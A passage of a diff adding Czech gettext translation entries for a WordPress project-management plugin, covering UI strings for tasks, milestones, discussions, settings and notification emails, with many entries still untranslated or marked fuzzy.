texts/success_messages.php:72 +msgid "A Task has been updated successfully." +msgstr "" + +#: texts/success_messages.php:75 +msgid "The task has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:78 +msgid "Settings has been changed successfully." +msgstr "" + +# @ cpm +#: texts/success_messages.php:81 +#, fuzzy +#| msgid "No comments found" +msgid "No element found" +msgstr "Nebyly nalezeny žádné komentáře" + +# @ cpm +#: texts/success_messages.php:84 +#, fuzzy +#| msgid "No Project Found" +msgid "No Project found" +msgstr "Žádný projekt nebyl nalezen" + +#: texts/success_messages.php:87 +msgid "Task marked as done" +msgstr "" + +#: texts/success_messages.php:90 +msgid "Task reopened" +msgstr "" + +#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 +msgid "Every %d Minutes" +msgstr "" + +# @ cpm +#: views/assets/js/library.js:887 views/assets/js/library.js:1099 +#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 +#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 +#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 +#: views/assets/js/pm.js:14773 +#: views/assets/src/components/categories/categories.vue:255 +#: views/assets/src/components/project-discussions/mixin.js:507 +#: views/assets/src/components/project-task-lists/list-comments.vue:111 +#: views/assets/src/components/project-task-lists/mixin.js:382 +#: views/assets/src/components/project-task-lists/mixin.js:602 +#: views/assets/src/components/project-task-lists/task-comments.vue:131 +#, fuzzy +#| msgid "Are you sure?" +msgid "Are you sure!" +msgstr "Jste si jist(a)?" + +# @ cpm +#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 +#: views/assets/src/helpers/mixin/mixin.js:703 +#: views/assets/vendor/mixin/mixin.js:636 +msgid "Are you sure to delete this project?" +msgstr "Jste si jist(a), že chcete odstranit tento projekt?" + +#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 +#: views/assets/src/components/common/text-editor.vue:37 +msgid "Write a comment..." +msgstr "" + +#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 +#: views/assets/src/components/project-task-lists/single-task.vue:295 +msgid "Update Description" +msgstr "" + +#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 +#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 +#: views/assets/src/components/project-discussions/comment-form.vue:39 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 +msgid "Add New Comment" +msgstr "" + +#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 +#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 +#: views/assets/src/components/project-discussions/comment-form.vue:40 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 +#: views/emails/html/update-comment.php:12 +msgid "Update Comment" +msgstr "" + +#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 +msgid "textarea" +msgstr "" + +#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 +#: views/assets/js/pm.js:25191 +msgid "form" +msgstr "" + +#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 +#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 +#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 +#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 +#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 +#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 +#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 +#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 +#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 +#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 +#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 +#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 +#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 +#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 +#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 +#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 +#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 +#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 +#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 +#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 +#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 +#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 +#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 +#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 +#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 +#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 +#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 +#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 +#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 +#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 +#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 +#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 +#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 +#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 +#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 +#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 +#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 +msgid "div" +msgstr "" + +#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 +#: views/assets/js/pm.js:23525 +msgid "span" +msgstr "" + +#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 +#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 +#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 +#: views/assets/js/pm.js:33414 +msgid "input" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:2326 +#: views/assets/src/components/project-milestones/mixin.js:316 +#, fuzzy +#| msgid "Are you sure to delete this message?" +msgid "Are you sure! Want to delete this milestones?" +msgstr "Jste si jist(a), že chcete odstranit tuto zprávu?" + +# @ cpm +#: views/assets/js/pm.js:5999 +#: views/assets/src/components/project-discussions/mixin.js:554 +#, fuzzy +#| msgid "Are you sure to delete this project?" +msgid "Are you sure to delete this comment?" +msgstr "Jste si jist(a), že chcete odstranit tento projekt?" + +# @ cpm +#: views/assets/js/pm.js:9674 +#: views/assets/src/components/categories/categories.vue:23 +#: views/assets/src/components/categories/categories.vue:212 +#, fuzzy +#| msgid "Add New Message" +msgid "Add New Category" +msgstr "Vytvořit zprávu" + +# @ cpm +#: views/assets/js/pm.js:9793 +#: views/assets/src/components/categories/edit-category-form.vue:42 +#, fuzzy +#| msgid "Update Message" +msgid "Update Category" +msgstr "Aktualizovat zprávu" + +# @ cpm +#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 +#: views/assets/src/components/common/header.vue:81 +#: views/assets/src/components/project-lists/project-summary.vue:165 +#, fuzzy +#| msgid "Project Activity" +msgid "Project Actions" +msgstr "Aktivita projektu" + +#: views/assets/js/pm.js:10314 +#: views/assets/src/components/common/header.vue:110 +msgid "Overview" +msgstr "" + +#: views/assets/js/pm.js:10323 +#: views/assets/src/components/common/header.vue:121 +msgid "Activities" +msgstr "" + +#: views/assets/js/pm.js:10332 +#: views/assets/src/components/common/header.vue:132 +#: views/assets/src/components/project-discussions/discussions.vue:20 +#: views/assets/src/components/project-lists/project-summary.vue:32 +#: views/assets/src/components/project-milestones/completed-milestones.vue:32 +#: views/assets/src/components/project-milestones/late-milestones.vue:39 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 +#: views/assets/src/components/project-overview/overview.vue:31 +msgid "Discussions" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:10341 +#: views/assets/src/components/common/header.vue:143 +#: views/assets/src/components/project-lists/project-summary.vue:48 +#: views/assets/src/components/project-milestones/completed-milestones.vue:23 +#: views/assets/src/components/project-milestones/late-milestones.vue:30 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 +#: views/assets/src/components/project-overview/overview.vue:46 +#: views/assets/src/components/project-task-lists/default-list-page.vue:4 +msgid "Task Lists" +msgstr "Seznam úkolů" + +# @ cpm +#: views/assets/js/pm.js:10350 +#: views/assets/src/components/common/header.vue:154 +#: views/assets/src/components/project-lists/project-summary.vue:78 +#: views/assets/src/components/project-milestones/milestones.vue:19 +#: views/assets/src/components/project-overview/overview.vue:97 +msgid "Milestones" +msgstr "Cíle" + +# @ cpm +#: views/assets/js/pm.js:10359 +#: views/assets/src/components/common/header.vue:165 +#: views/assets/src/components/project-lists/project-summary.vue:93 +#: views/assets/src/components/project-overview/overview.vue:82 +msgid "Files" +msgstr "Soubory" + +# @ cpm +#: views/assets/js/pm.js:10975 +#: views/assets/src/components/categories/categories.vue:104 +#: views/assets/src/components/common/header.vue:10 +#: views/assets/src/components/project-discussions/discussions.vue:158 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 +msgid "Edit" +msgstr "Upravit" + +# @ cpm +#: views/assets/js/pm.js:10976 +#: views/assets/src/components/project-discussions/discussions.vue:159 +msgid "Delete this message" +msgstr "Odstranit tuto zprávu" + +#: views/assets/js/pm.js:10977 +#: views/assets/src/components/project-discussions/discussions.vue:160 +msgid "Make it private" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:11351 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 +msgid "Enter message title" +msgstr "Vložte název zprávy" + +# @ cpm +#: views/assets/js/pm.js:11352 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 +msgid "Add Message" +msgstr "Přidat zprávu" + +# @ cpm +#: views/assets/js/pm.js:11353 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 +msgid "Update Message" +msgstr "Aktualizovat zprávu" + +# @ cpm +#: views/assets/js/pm.js:12089 +#: views/assets/src/components/project-lists/header.vue:69 +msgid "Start a new project" +msgstr "Vytvořit nový projekt" + +# @ cpm +#: views/assets/js/pm.js:12190 +#: views/assets/src/components/project-lists/project-create-form.vue:87 +msgid "Name of the project" +msgstr "Název projektu" + +# @ wedevs +#: views/assets/js/pm.js:12191 +#: views/assets/src/components/project-lists/project-create-form.vue:88 +msgid "Some details about the project (optional)" +msgstr "Podrobnosti o projektu (nepovinné)" + +#: views/assets/js/pm.js:12192 +#: views/assets/src/components/project-lists/project-create-form.vue:89 +msgid "Type 3 or more characters to search users..." +msgstr "" + +#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 +#: views/assets/src/components/project-lists/directive.js:75 +#: views/assets/src/components/project-lists/project-create-form.vue:90 +msgid "Create a new user" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:12194 +#: views/assets/src/components/project-lists/project-create-form.vue:91 +msgid "Add New Project" +msgstr "Vytvořit projekt" + +# @ cpm +#: views/assets/js/pm.js:12195 +#: views/assets/src/components/project-lists/project-create-form.vue:92 +#: views/emails/html/update-project.php:9 +msgid "Update Project" +msgstr "Aktualizovat projekt" + +#: views/assets/js/pm.js:12536 +#: views/assets/src/components/project-lists/project-new-user-form.vue:43 +msgid "Create User" +msgstr "" + +#: views/assets/js/pm.js:12853 +#: views/assets/src/components/project-lists/project-view.vue:17 +msgid "List View" +msgstr "" + +#: views/assets/js/pm.js:12854 +#: views/assets/src/components/project-lists/project-view.vue:18 +msgid "Grid View" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:12946 +#: views/assets/src/components/project-milestones/action-milestones.vue:33 +msgid "Edit Milestone" +msgstr "Upravit cíl" + +# @ cpm +#: views/assets/js/pm.js:12947 +#: views/assets/src/components/project-milestones/action-milestones.vue:34 +msgid "Delete milestone" +msgstr "Odstranit cíl" + +#: views/assets/js/pm.js:12948 +#: views/assets/src/components/project-milestones/action-milestones.vue:35 +msgid "Mark as incomplete" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:12949 +#: views/assets/src/components/project-milestones/action-milestones.vue:36 +msgid "Mark as complete" +msgstr "Označit jako splněný" + +#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 +#: views/assets/src/components/project-task-lists/new-task-form.vue:112 +msgid "Due Date" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:13572 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 +msgid "Milestone name" +msgstr "Název cíle" + +# @ cpm +#: views/assets/js/pm.js:13573 +#: views/assets/src/components/project-milestones/milestones.vue:24 +#: views/assets/src/components/project-milestones/milestones.vue:52 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 +msgid "Add Milestone" +msgstr "Přidat cíl" + +# @ cpm +#: views/assets/js/pm.js:13574 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 +msgid "Update Milestone" +msgstr "Aktualizivat cíl" + +#: views/assets/js/pm.js:15560 +#: views/assets/src/components/project-task-lists/new-task-form.vue:109 +msgid "Add a new task" +msgstr "" + +#: views/assets/js/pm.js:15561 +#: views/assets/src/components/project-task-lists/new-task-form.vue:110 +msgid "Add extra details about this task (optional)" +msgstr "" + +#: views/assets/js/pm.js:15562 +#: views/assets/src/components/project-task-lists/new-task-form.vue:111 +msgid "Start Date" +msgstr "" + +#: views/assets/js/pm.js:15564 +#: views/assets/src/components/project-task-lists/new-task-form.vue:113 +msgid "Select User" +msgstr "" + +#: views/assets/js/pm.js:15565 +#: views/assets/src/components/project-task-lists/new-task-form.vue:114 +msgid "Update Task" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:15566 +#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 +#: views/assets/src/components/project-task-lists/new-task-form.vue:115 +msgid "Add Task" +msgstr "Přidat úkoly" + +#: views/assets/js/pm.js:15567 +#: views/assets/src/components/project-task-lists/new-task-form.vue:116 +msgid "Estimated hour to complete the task" +msgstr "" + +#: views/assets/js/pm.js:15928 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 +msgid "Task list name" +msgstr "" + +#: views/assets/js/pm.js:15929 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 +msgid "Task list details" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:15930 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 +msgid "Update List" +msgstr "Aktualizovat seznam" + +# @ cpm +#: views/assets/js/pm.js:15931 +#: views/assets/src/components/project-discussions/discussions.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 +msgid "Add List" +msgstr "Vytvořit seznam" + +# @ cpm +#: views/assets/js/pm.js:16368 +#: views/assets/src/components/project-task-lists/single-list.vue:121 +#, fuzzy +#| msgid "Delete milestone" +msgid "Delete List" +msgstr "Odstranit cíl" + +# @ cpm +#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 +#: views/assets/src/components/settings/email.vue:82 +#: views/assets/src/components/settings/general.vue:116 +msgid "Save Changes" +msgstr "Uložit změny" + +#: views/assets/js/pm.js:18015 +#: views/assets/src/components/project-lists/directive.js:74 +msgid "No users found." +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:18540 +#: views/assets/src/components/project-overview/directive.js:9 +msgid "Activity" +msgstr "Aktivita" + +#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 +#: views/assets/js/pm.js:31861 +msgid "ul" +msgstr "" + +#: views/assets/js/pm.js:26597 +msgid "a" +msgstr "" + +#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 +msgid "router-view" +msgstr "" + +#: views/assets/js/pm.js:33541 +msgid "svg" +msgstr "" + +#: views/assets/js/pm.js:33711 +msgid "vue-content-loading" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:27 +#: views/assets/src/components/categories/categories.vue:74 +#: views/assets/src/components/categories/categories.vue:130 +#: views/assets/src/components/categories/edit-category-form.vue:8 +msgid "Name" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:33 +#: views/assets/src/components/categories/categories.vue:79 +#: views/assets/src/components/categories/categories.vue:136 +#: views/assets/src/components/categories/edit-category-form.vue:14 +msgid "Description" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:54 +msgid "Select bulk action" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:56 +#: views/assets/src/components/categories/categories.vue:155 +msgid "Bulk Actions" +msgstr "" + +# @ cpm +#: views/assets/src/components/categories/categories.vue:57 +#: views/assets/src/components/categories/categories.vue:156 +#: views/assets/src/components/common/header.vue:29 +#: views/assets/src/components/project-lists/project-create-form.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:134 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 +msgid "Delete" +msgstr "Odstranit" + +# @ cpm +#: views/assets/src/components/categories/categories.vue:69 +#: views/assets/src/components/common/notify-user.vue:7 +msgid "Select all" +msgstr "Vybrat všechny" + +#: views/assets/src/components/categories/edit-category-form.vue:5 +msgid "Quick Edit" +msgstr "" + +# @ cpm +# @ wedevs +#: views/assets/src/components/categories/edit-category-form.vue:23 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 +#: views/assets/src/components/project-lists/project-create-form.vue:57 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 +#: views/assets/src/components/project-task-lists/new-task-form.vue:51 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 +msgid "Cancel" +msgstr "Zrušit" + +# @ cpm +#: views/assets/src/components/common/color-picker.vue:9 +#, fuzzy +#| msgid "Select all" +msgid "Select Color" +msgstr "Vybrat všechny" + +#: views/assets/src/components/common/color-picker.vue:25 +msgid "Clear" +msgstr "" + +#: views/assets/src/components/common/color-picker.vue:31 +msgid "Close" +msgstr "" + +# @ default +#: views/assets/src/components/common/file-uploader.vue:10 +msgid "Delete File" +msgstr "Odstranit soubor" + +#: views/assets/src/components/common/file-uploader.vue:16 +msgid "To attach" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:17 +msgid "select files" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:18 +msgid "from your computer." +msgstr "" + +# @ cpm +#: views/assets/src/components/common/header.vue:17 +#: views/assets/src/components/project-lists/project-header-menu.vue:13 +#: views/assets/src/components/project-task-lists/lists.vue:92 +msgid "Completed" +msgstr "Dokončeno" + +#: views/assets/src/components/common/header.vue:18 +#: views/assets/src/components/project-task-lists/lists.vue:102 +msgid "Incomplete" +msgstr "" + +#: views/assets/src/components/common/header.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:141 +msgid "Complete" +msgstr "" + +#: views/assets/src/components/common/header.vue:39 +#: views/assets/src/components/project-lists/project-summary.vue:144 +msgid "Restore" +msgstr "" + +# @ cpm +#: views/assets/src/components/common/notify-user.vue:4 +msgid "Notify users" +msgstr "Upozornit uživatele" + +# @ cpm +#: views/assets/src/components/project-activities/activities.vue:46 +#, fuzzy +#| msgid "Load More..." +msgid "Load More ..." +msgstr "Načíst další" + +#: views/assets/src/components/project-activities/activities.vue:48 +msgid "No activity fount" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:23 +msgid "" +"Use our built in discussion panel to create an open discussion, a group " +"discussion or a private conversation. Note that the Admin can always " +"moderate these discussions." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:27 +#: views/assets/src/components/project-discussions/discussions.vue:54 +msgid "Add New Discussion" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-discussions/discussions.vue:32 +#: views/assets/src/components/project-discussions/discussions.vue:59 +msgid "Create a new message" +msgstr "Vytvořit novou zprávu" + +#: views/assets/src/components/project-discussions/discussions.vue:38 +msgid "When to use Discussions?" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:41 +msgid "To discuss a work matter privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:42 +msgid "To exchange files privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:43 +msgid "To discuss in a group." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:44 +msgid "To create an open discussion visible to all." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:68 +msgid "Discussion List" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-discussions/discussions.vue:84 +#: views/assets/src/components/project-discussions/individual-discussions.vue:32 +#: views/assets/src/components/project-task-lists/list-comments.vue:15 +#: views/assets/src/components/project-task-lists/task-comments.vue:15 +#, fuzzy +#| msgid "Body" +msgid "By" +msgstr "Tělo" + +#: views/assets/src/components/project-discussions/discussions.vue:88 +#: views/assets/src/components/project-discussions/individual-discussions.vue:35 +#: views/assets/src/components/project-discussions/individual-discussions.vue:77 +#: views/assets/src/components/project-task-lists/list-comments.vue:22 +#: views/assets/src/components/project-task-lists/task-comments.vue:21 +msgid "on" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:110 +#: views/assets/src/components/project-discussions/individual-discussions.vue:61 +#: views/assets/src/components/project-lists/project-summary.vue:104 +#: views/assets/src/components/project-overview/overview.vue:68 +#: views/assets/src/components/project-task-lists/lists.vue:111 +#: views/assets/src/components/project-task-lists/single-task.vue:174 +msgid "Comments" +msgstr "" + +#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 +msgid "- Milestone -" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:36 +msgid "Attached to" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:38 +msgid "by" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:40 +msgid "admin" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-files/files.vue:62 +#, fuzzy +#| msgid "No users found" +msgid "No result found!" +msgstr "Žádní uživatelé nebyli nalezeni" + +#: views/assets/src/components/project-lists/project-create-form.vue:13 +#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 +msgid "- Project Category -" +msgstr "" + +#: views/assets/src/components/project-lists/project-create-form.vue:50 +msgid "Notify Co-Workers" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:6 +msgid "Active" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:20 +msgid "All" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 +#: views/emails/html/new-project.php:10 +msgid "New Project" +msgstr "Nový projekt" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:7 +msgid "Username" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:12 +msgid "First Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:17 +msgid "Last Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:22 +msgid "Email" +msgstr "" + +#: views/assets/src/components/project-lists/project-summary.vue:4 +msgid "No projects found." +msgstr "" + +# @ cpm +#: views/assets/src/components/project-lists/project-summary.vue:63 +#: views/assets/src/components/project-overview/overview.vue:57 +msgid "Tasks" +msgstr "Úkoly" + +# @ cpm +#: views/assets/src/components/project-milestones/completed-milestones.vue:3 +msgid "Completed Milestones" +msgstr "Splněné cíle" + +# @ cpm +#: views/assets/src/components/project-milestones/completed-milestones.vue:43 +msgid "Completed on:" +msgstr "Dokončeno:" + +# @ cpm +#: views/assets/src/components/project-milestones/late-milestones.vue:3 +msgid "Late Milestones" +msgstr "Poslední cíle" + +#: views/assets/src/components/project-milestones/milestones.vue:21 +msgid "" +"Create a lifecycle of your projects using milestones. Time mark the " +"different stages of your project with multiple milestones and also it will " +"help the assigned people to aim for a date to complete the project according " +"to those steps." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:37 +msgid "When to use Milestones?" +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:40 +msgid "To set a target date for the project overall." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:41 +msgid "To divide a project into several development-time phases." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:42 +msgid "To coordinate projects and assigned persons timely." +msgstr "" + +# @ cpm +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 +msgid "Upcoming Milestones" +msgstr "Aktuální cíle" + +# @ cpm +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 +#, fuzzy +#| msgid "left" +msgid "left -" +msgstr "vlevo" + +#: views/assets/src/components/project-overview/overview.vue:107 +msgid "Last 30 days" +msgstr "" + +#: views/assets/src/components/project-overview/overview.vue:116 +msgid "Users" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:6 +msgid "" +"You can list all your Tasks in a single discussion using a Task list. Use " +"these lists to divide a project into several sectors, assign co-workers and " +"check progress." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:14 +msgid "When to use Task Lists?" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:17 +msgid "To partition a project internals." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:18 +msgid "To mark milestone points." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:19 +msgid "To assign people to tasks." +msgstr "" + +#: views/assets/src/components/project-task-lists/list-comments.vue:4 +msgid "Discuss this task list" +msgstr "" + +#: views/assets/src/components/project-task-lists/list-tasks.vue:9 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 +msgid "No tasks found." +msgstr "" + +#: views/assets/src/components/project-task-lists/lists.vue:77 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 +msgid "More Tasks" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 +msgid "New Task List" +msgstr "Nový seznam úkolů" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 +msgid "Incomplete Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 +msgid "Completed Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list.vue:29 +msgid "Back to Task Lists" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:203 +msgid "Shift+Enter for line break" +msgstr "" + +#: views/assets/src/components/project-task-lists/task-comments.vue:4 +msgid "Discuss this task" +msgstr "" + +# @ cpm +#: views/assets/src/components/settings/email.vue:7 +#: views/assets/src/components/settings/header.vue:9 +msgid "E-Mail Settings" +msgstr "Nastavení emailů" + +#: views/assets/src/components/settings/email.vue:12 +msgid "From Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:20 +msgid "Links in the Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:25 +msgid "Link to Backend" +msgstr "" + +#: views/assets/src/components/settings/email.vue:28 +msgid "" +"Select where do you want to take the user. Notification emails contain links." +msgstr "" + +# @ cpm +#: views/assets/src/components/settings/email.vue:35 +msgid "E-Mail Type" +msgstr "Typ emailu" + +# @ cpm +#: views/assets/src/components/settings/email.vue:39 +msgid "HTML Mail" +msgstr "HTML email" + +# @ cpm +#: views/assets/src/components/settings/email.vue:40 +msgid "Plain Text" +msgstr "Neformátovaný text" + +#: views/assets/src/components/settings/email.vue:46 +msgid "Send email via Bcc" +msgstr "" + +#: views/assets/src/components/settings/email.vue:52 +msgid "Enable Bcc" +msgstr "" + +#: views/assets/src/components/settings/general.vue:7 +#: views/assets/src/components/settings/header.vue:5 +msgid "General Settings" +msgstr "" + +# @ cpm +#: views/assets/src/components/settings/general.vue:12 +msgid "File Upload Limit" +msgstr "Limit velikosti pro nahrávané soubory" + +#: views/assets/src/components/settings/general.vue:16 +msgid "File Size in Megabytes. e.g: 2" +msgstr "" + +#: views/assets/src/components/settings/general.vue:21 +msgid "Projects Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:25 +msgid "-1 for unlimited" +msgstr "" + +#: views/assets/src/components/settings/general.vue:31 +msgid "Task Lists Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:39 +msgid "Incomplete Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:47 +msgid "Completed Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:55 +msgid "Project Managing Capability" +msgstr "" + +#: views/assets/src/components/settings/general.vue:65 +#: views/assets/src/components/settings/general.vue:81 +msgid "Select the user roles who can see and manage all projects." +msgstr "" + +#: views/assets/src/components/settings/general.vue:71 +msgid "Project Creation Capability" +msgstr "" + +#: views/emails/html/complete-task.php:12 +msgid "Task status has been changed" +msgstr "" + +#: views/emails/html/complete-task.php:25 +msgid "Changed by" +msgstr "" + +# @ cpm +#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 +#: views/emails/html/update-task.php:24 +#, fuzzy +#| msgid "Due date" +msgid "due date" +msgstr "Datum splnění" + +#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 +#: views/emails/html/update-task.php:29 +msgid "start at" +msgstr "" + +# @ cpm +#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 +#: views/emails/html/update-task.php:46 +msgid "View Task" +msgstr "Zobrazit úkol" + +#: views/emails/html/new-comment.php:12 +msgid "New Comment" +msgstr "" + +#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 +msgid "Commented By" +msgstr "" + +#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 +msgid "On" +msgstr "" + +#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 +#: views/emails/mention.php:47 +msgid "View Comment" +msgstr "" + +# @ cpm +#: views/emails/html/new-message.php:12 +msgid "New Message" +msgstr "Nová zpráva" + +#: views/emails/html/new-message.php:19 +msgid "Message Created By" +msgstr "" + +#: views/emails/html/new-message.php:28 +msgid "Title" +msgstr "" + +# @ cpm +#: views/emails/html/new-message.php:49 +msgid "View Message" +msgstr "Zobrazit zprávu" + +#: 